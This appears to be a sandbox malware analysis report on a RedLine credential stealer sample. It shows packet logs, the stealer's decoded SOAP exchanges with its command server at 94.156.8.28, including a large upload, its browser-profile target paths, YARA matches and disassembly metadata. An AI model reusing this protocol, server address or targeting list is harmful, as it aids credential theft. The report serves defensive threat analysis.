May 19, 2024 06:01:08.759635925 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759648085 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759659052 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759670973 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759681940 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759694099 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.759706020 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760494947 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760514021 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760525942 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760538101 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760557890 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760569096 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760580063 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760591030 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760602951 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760613918 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760632992 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760644913 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760656118 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760668039 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760679960 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760690928 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760703087 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760714054 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760725975 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760736942 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760747910 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.760760069 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.761676073 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.761688948 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.761701107 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.761715889 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.761732101 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.761750937 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.761770010 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:08.809115887 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:09.693065882 CEST	65012	49733	94.156.8.28	192.168.2.4
May 19, 2024 06:01:09.748946905 CEST	49733	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:09.825377941 CEST	49733	65012	192.168.2.4	94.156.8.28

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 19, 2024 06:01:03.412743092 CEST	62993	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 19, 2024 06:01:03.412743092 CEST	192.168.2.4	1.1.1.1	0x16c4	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 19, 2024 06:01:03.420180082 CEST	1.1.1.1	192.168.2.4	0x16c4	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

94.156.8.28:65012

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	94.156.8.28	65012	4564	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Timestamp	Bytes transferred	Direction	Data
May 19, 2024 06:00:56.449484110 CEST	238	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 94.156.8.28:65012 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
May 19, 2024 06:00:57.207339048 CEST	359	IN	HTTP/1.1 200 OK Content-Length: 212 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 19 May 2024 04:00:56 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 74 72 75 65 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 75 6c 74 3e 3c 2f 43 68 65 63 6b 43 6f 6e 6e 65 63 74 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><CheckConnectResponse xmlns="http://tempuri.org/"><CheckConnectResult>true</CheckConnectResult></CheckConnectResponse></s:Body></s:Envelope>
May 19, 2024 06:01:02.309808969 CEST	221	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings" Host: 94.156.8.28:65012 Content-Length: 144 Expect: 100-continue Accept-Encoding: gzip, deflate
May 19, 2024 06:01:02.550378084 CEST	25	IN	HTTP/1.1 100 Continue
May 19, 2024 06:01:03.363182068 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 4792 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 19 May 2024 04:01:02 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 45 6e 76 69 72 6f 6e 6d 65 6e 74 53 65 74 74 69 6e 67 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 3e 3c 61 3a 42 6c 6f 63 6b 65 64 43 6f 75 6e 74 72 79 20 78 6d 6c 6e 73 3a 62 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 32 30 30 33 2f 31 30 2f 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 2f 41 72 72 61 79 73 22 2f 3e 3c 61 3a 42 6c 6f 63 6b 65 64 49 50 20 78 6d 6c [TRUNCATED] Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><EnvironmentSettingsResponse xmlns="http://tempuri.org/"><EnvironmentSettingsResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><a:BlockedCountry xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/><a:BlockedIP xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>191.101.157.72</b:string></a:BlockedIP><a:Object4>true</a:Object4><a:Object6>false</a:Object6><a:ScanBrowsers>true</a:ScanBrowsers><a:ScanChromeBrowsersPaths xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"><b:string>%USERPROFILE%\AppData\Local\Battle.net</b:string><b:string>%USERPROFILE%\AppData\Local\Chromium\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data</b:string><b:string>%USERPROFILE%\AppData\Roaming\Opera Software\</b:string><b:string>%USERPROFILE%\AppData\ [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	94.156.8.28	65012	4564	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Timestamp	Bytes transferred	Direction	Data
May 19, 2024 06:01:06.445303917 CEST	219	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment" Host: 94.156.8.28:65012 Content-Length: 982700 Expect: 100-continue Accept-Encoding: gzip, deflate
May 19, 2024 06:01:08.030170918 CEST	294	IN	HTTP/1.1 200 OK Content-Length: 147 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 19 May 2024 04:01:07 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 2f 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><SetEnvironmentResponse xmlns="http://tempuri.org/"/></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49733	94.156.8.28	65012	4564	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe

Timestamp	Bytes transferred	Direction	Data
May 19, 2024 06:01:08.042105913 CEST	239	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetUpdates" Host: 94.156.8.28:65012 Content-Length: 982692 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive
May 19, 2024 06:01:09.693065882 CEST	408	IN	HTTP/1.1 200 OK Content-Length: 261 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Sun, 19 May 2024 04:01:09 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 22 3e 3c 47 65 74 55 70 64 61 74 65 73 52 65 73 75 6c 74 20 78 6d 6c 6e 73 3a 61 3d 22 42 72 6f 77 73 65 72 45 78 74 65 6e 73 69 6f 6e 22 20 78 6d 6c 6e 73 3a 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 2f 3e 3c 2f 47 65 74 55 70 64 61 74 65 73 52 65 73 70 6f 6e 73 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetUpdatesResponse xmlns="http://tempuri.org/"><GetUpdatesResult xmlns:a="BrowserExtension" xmlns:i="http://www.w3.org/2001/XMLSchema-instance"/></GetUpdatesResponse></s:Body></s:Envelope>

Analysis Process: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exePID: 4564, Parent PID: 2580

General

Target ID:	0
Start time:	00:00:54
Start date:	19/05/2024
Path:	C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exe"
Imagebase:	0x100000
File size:	97'792 bytes
MD5 hash:	A2C08A55B2B269965A786A352398596D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1623079443.0000000000102000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	00:00:54
Start date:	19/05/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_payload.exePID: 4564, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	1

Executed Functions

Function 05D39628 Relevance: 16.2, Strings: 12, Instructions: 1183COMMON

Download Yara Rule

Strings

(_^q, xrefs: 05D3A0C4
c^q, xrefs: 05D39FF6
c^q, xrefs: 05D39FDC
4c^q, xrefs: 05D39FBC
(_^q, xrefs: 05D3A0DE
4c^q, xrefs: 05D39FA2
,bq, xrefs: 05D3A247
$^q, xrefs: 05D3A64B
$^q, xrefs: 05D39CB3
Hbq, xrefs: 05D3A3E2
$^q, xrefs: 05D39CCD
Nv]q, xrefs: 05D39930

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$,bq$4c^q$4c^q$Hbq$Nv]q$$^q$$^q$$^q$c^q$c^q
API String ID: 0-692146702
Opcode ID: e45043973099c7578d3f1658675c81d7576a1026ecdde7702b48d6c93c1164d8
Instruction ID: da4699afb0a72d18b12ddf259b97cb724e8fac584b9ccfd05c084dada42b5509
Opcode Fuzzy Hash: e45043973099c7578d3f1658675c81d7576a1026ecdde7702b48d6c93c1164d8
Instruction Fuzzy Hash: 6782B570B002148BCB59EF7D886667E66E7BFCC700B6148AAD04EDB385EE60CC414BD2

Function 0083E7B0 Relevance: 12.2, Strings: 9, Instructions: 929
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xm~, xrefs: 0083F52D
Xm~, xrefs: 0083F5EB
Xm~, xrefs: 0083E8AB
Xm~, xrefs: 0083F79C
Xm~, xrefs: 0083F6A7
Xm~, xrefs: 0083F71A
Xm~, xrefs: 0083F39E
Xm~, xrefs: 0083F46F
Xm~, xrefs: 0083E961

Memory Dump Source

Source File: 00000000.00000002.1769367424.0000000000830000.00000040.00000800.00020000.00000000.sdmp, Offset: 00830000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_830000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: Xm~$Xm~$Xm~$Xm~$Xm~$Xm~$Xm~$Xm~$Xm~
API String ID: 0-611321923
Opcode ID: c761c0f857144c59f74e79fecc79fc904ce2b3ce1cc57a736a043c892780fe4c
Instruction ID: d91dc63520810c5ab30ff412adfe64ae4f7b10e2c07df415bac4af0474a0711c
Opcode Fuzzy Hash: c761c0f857144c59f74e79fecc79fc904ce2b3ce1cc57a736a043c892780fe4c
Instruction Fuzzy Hash: 4682C974B002588FDB14DF68D898B6DBBB2FF89301F1085A9E50A9B3A5DB349D81CF51

Function 05D3DD00 Relevance: 9.2, Strings: 7, Instructions: 464
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 05D3DDB5
$^q, xrefs: 05D3DDA5
$^q, xrefs: 05D3DEE7
xjd, xrefs: 05D3DF68, 05D3E281
$^q, xrefs: 05D3DD58
4|cq, xrefs: 05D3E2ED
4'^q, xrefs: 05D3DEF6

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: 4'^q$4|cq$xjd$$^q$$^q$$^q$$^q
API String ID: 0-3460343967
Opcode ID: 8ccf556e237c43cfc2d53b43a2e8aa2c93eb4f95b77c5ab04dcb9800049967cf
Instruction ID: c3e3d50c74fb1d73a9241a04e45b4bf2a1bb247e1bd2b8ef7c56e423bc3333b1
Opcode Fuzzy Hash: 8ccf556e237c43cfc2d53b43a2e8aa2c93eb4f95b77c5ab04dcb9800049967cf
Instruction Fuzzy Hash: 95021D70B002198FDB14DF69C855AAEBBF6BF89340F1484AAE409EB391DB349D45CF51

Function 05D33311 Relevance: 6.7, Strings: 5, Instructions: 415
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 05D33732
Hbq, xrefs: 05D336D0
Hbq, xrefs: 05D33701
Hbq, xrefs: 05D33779
Hbq, xrefs: 05D337C0

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$Hbq$Hbq
API String ID: 0-1677660839
Opcode ID: d3287e092d6b04167db20c154002a82ab67eb597cb33468f12419ba3cdd55b9f
Instruction ID: 75433f01f70000556755067065f3d0a2348905020c4556a9063ac109a4dd9cf9
Opcode Fuzzy Hash: d3287e092d6b04167db20c154002a82ab67eb597cb33468f12419ba3cdd55b9f
Instruction Fuzzy Hash: 6CF19F31A04256CBCB15DF78C5512BDFBB2FF85301F24CA6AD446AB241DB78EA85CB90

Function 05D34468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d27d7956be7e5fef989ee479769a3cefa01ac3962c5da30695b5e54aa8cf69d
Instruction ID: bb0e70153ab222523bf55a26064982ab342a0fa37a29d9983fcbd494d6ff5dbe
Opcode Fuzzy Hash: 3d27d7956be7e5fef989ee479769a3cefa01ac3962c5da30695b5e54aa8cf69d
Instruction Fuzzy Hash: 9F828134614216CFDF24DF28D889B697BB6BF44318F1041EAD8499B366EB349C86CF61

Function 05D31210 Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1803105526.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d30000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8898b9ac7d7946bdf10933a7f9d9d7cd54812a2fb364387d30055d219d81bda
Instruction ID: dc5d16b113109629ea4d38c453ff67ed72b67a6f08f478007a8a10463275e67a
Opcode Fuzzy Hash: f8898b9ac7d7946bdf10933a7f9d9d7cd54812a2fb364387d30055d219d81bda
Instruction Fuzzy Hash: DEF15F74A002099FDB04DBA4DC99BBEBBB6EFC8341F408429E509AB395CF35AD41DB15

Function 05D81550 Relevance: 23.9, Strings: 18, Instructions: 1407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L\~, xrefs: 05D81666
<]~, xrefs: 05D8169C
Y~, xrefs: 05D8263B
$]~, xrefs: 05D81945
D[~, xrefs: 05D819FB
D[~, xrefs: 05D81857
T]~, xrefs: 05D8173E
l]~, xrefs: 05D81977
(Z~, xrefs: 05D81B65
Z~, xrefs: 05D822B7
XZ~, xrefs: 05D81E79
|\~, xrefs: 05D81708
D[~, xrefs: 05D81A05
pZ~, xrefs: 05D8238B
@Z~, xrefs: 05D81C27
D[~, xrefs: 05D8180E
D[~, xrefs: 05D81841
d\~, xrefs: 05D817AA

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: $]~$(Z~$<]~$@Z~$D[~$D[~$D[~$D[~$D[~$L\~$T]~$XZ~$d\~$l]~$pZ~$|\~$Y~$Z~
API String ID: 0-1050621299
Opcode ID: 16ec394ffbba586067a4646f6d52062265eb8eb3599d8006b353d063fdc79cad
Instruction ID: 0771b2c076e4fa14728370bc537c836eaed0d651297f1751bd065723624f61fa
Opcode Fuzzy Hash: 16ec394ffbba586067a4646f6d52062265eb8eb3599d8006b353d063fdc79cad
Instruction Fuzzy Hash: D2C24D74B006189FCB14DB58CC91AADBBB6FF88704F50809AE6099B3A1DB71ED45CF91

Function 05D8154B Relevance: 10.3, Strings: 8, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

L\~, xrefs: 05D81666
<]~, xrefs: 05D8169C
|\~, xrefs: 05D81708
$]~, xrefs: 05D81945
l]~, xrefs: 05D81977
T]~, xrefs: 05D8173E
D[~, xrefs: 05D8180E
d\~, xrefs: 05D817AA

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: $]~$<]~$D[~$L\~$T]~$d\~$l]~$|\~
API String ID: 0-4289114011
Opcode ID: 7ecda0817cca9182f694bc59835a2f0989814a718b69b96e1633ef8eb6951a39
Instruction ID: 25ac7ecfa07c2ecc1aa156b6fccaa75ae34bc6228c649cc8777fc997b4a8f0f4
Opcode Fuzzy Hash: 7ecda0817cca9182f694bc59835a2f0989814a718b69b96e1633ef8eb6951a39
Instruction Fuzzy Hash: D0C15A34B00509AFCB04DF99C985EADB7B2FF89704FA08065FA159B7A1C672EC49CB51

Function 05D8056A Relevance: 4.2, Strings: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

la~, xrefs: 05D802F2
Ta~, xrefs: 05D805B6
a~, xrefs: 05D804C5

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: Ta~$la~$a~
API String ID: 0-4033264322
Opcode ID: 1d3750f3f6af6ec5d3ffa53fe5f478c0d840add9671b35f1d305fd19f162dcbb
Instruction ID: 108924a7e9f9a622a10f4321036f158900967cf79e0be810d8fd03b573f5345c
Opcode Fuzzy Hash: 1d3750f3f6af6ec5d3ffa53fe5f478c0d840add9671b35f1d305fd19f162dcbb
Instruction Fuzzy Hash: B0029C70700614DFCB10EF68C854A6E7BF6FF89705F40895AE5069F3A1CBB5E9498B82

Function 05D805E0 Relevance: 4.2, Strings: 3, Instructions: 428
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

la~, xrefs: 05D802F2
$a~, xrefs: 05D8062C
a~, xrefs: 05D804C5

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: $a~$la~$a~
API String ID: 0-1251132998
Opcode ID: 8e7127c37b206c11a15918ff7ac1a687e6e08079db74eb68b8c98b719f83f649
Instruction ID: 67a61782477c517d785ec1ffa19d2fbc8cb1d2c568ded39a7fb11ff6f5bb13ac
Opcode Fuzzy Hash: 8e7127c37b206c11a15918ff7ac1a687e6e08079db74eb68b8c98b719f83f649
Instruction Fuzzy Hash: 8C028B70B006149FCB10EF68C854A7E7BF6FF89705F40895AE5069F3A1CBB5E9498B81

Function 05D80656 Relevance: 4.1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

la~, xrefs: 05D802F2
<a~, xrefs: 05D806A2
a~, xrefs: 05D804C5

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: <a~$la~$a~
API String ID: 0-2761339889
Opcode ID: 00b21ea7164776f50ef893f19b542bb9b7b24f62cb888773396ddf3f4c1ba21d
Instruction ID: 785561f800c29144816265be5cfd37e4e0c129c080e7ba67cefe1acae3da990c
Opcode Fuzzy Hash: 00b21ea7164776f50ef893f19b542bb9b7b24f62cb888773396ddf3f4c1ba21d
Instruction Fuzzy Hash: 61F17970B00614DFCB14EF68C859A7E7BB6FF89705F40845AE5029F3A1CBB5E9498B81

Function 05D80048 Relevance: 3.2, Strings: 2, Instructions: 665COMMON

Download Yara Rule

Strings

la~, xrefs: 05D802F2
a~, xrefs: 05D804C5

Memory Dump Source

Source File: 00000000.00000002.1803273926.0000000005D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d80000_4ee06ed334e98fe42fe34b41e528397a22f370bf165d40e07dbd6a2b6d88014d_paylo.jbxd

Similarity

API ID:
String ID: la~$a~
API String ID: 0-2302496561
Opcode ID: b4cd9d62de7e28df3e0830f47d13df4c1266b3204158317ba87f62b8d88ade84
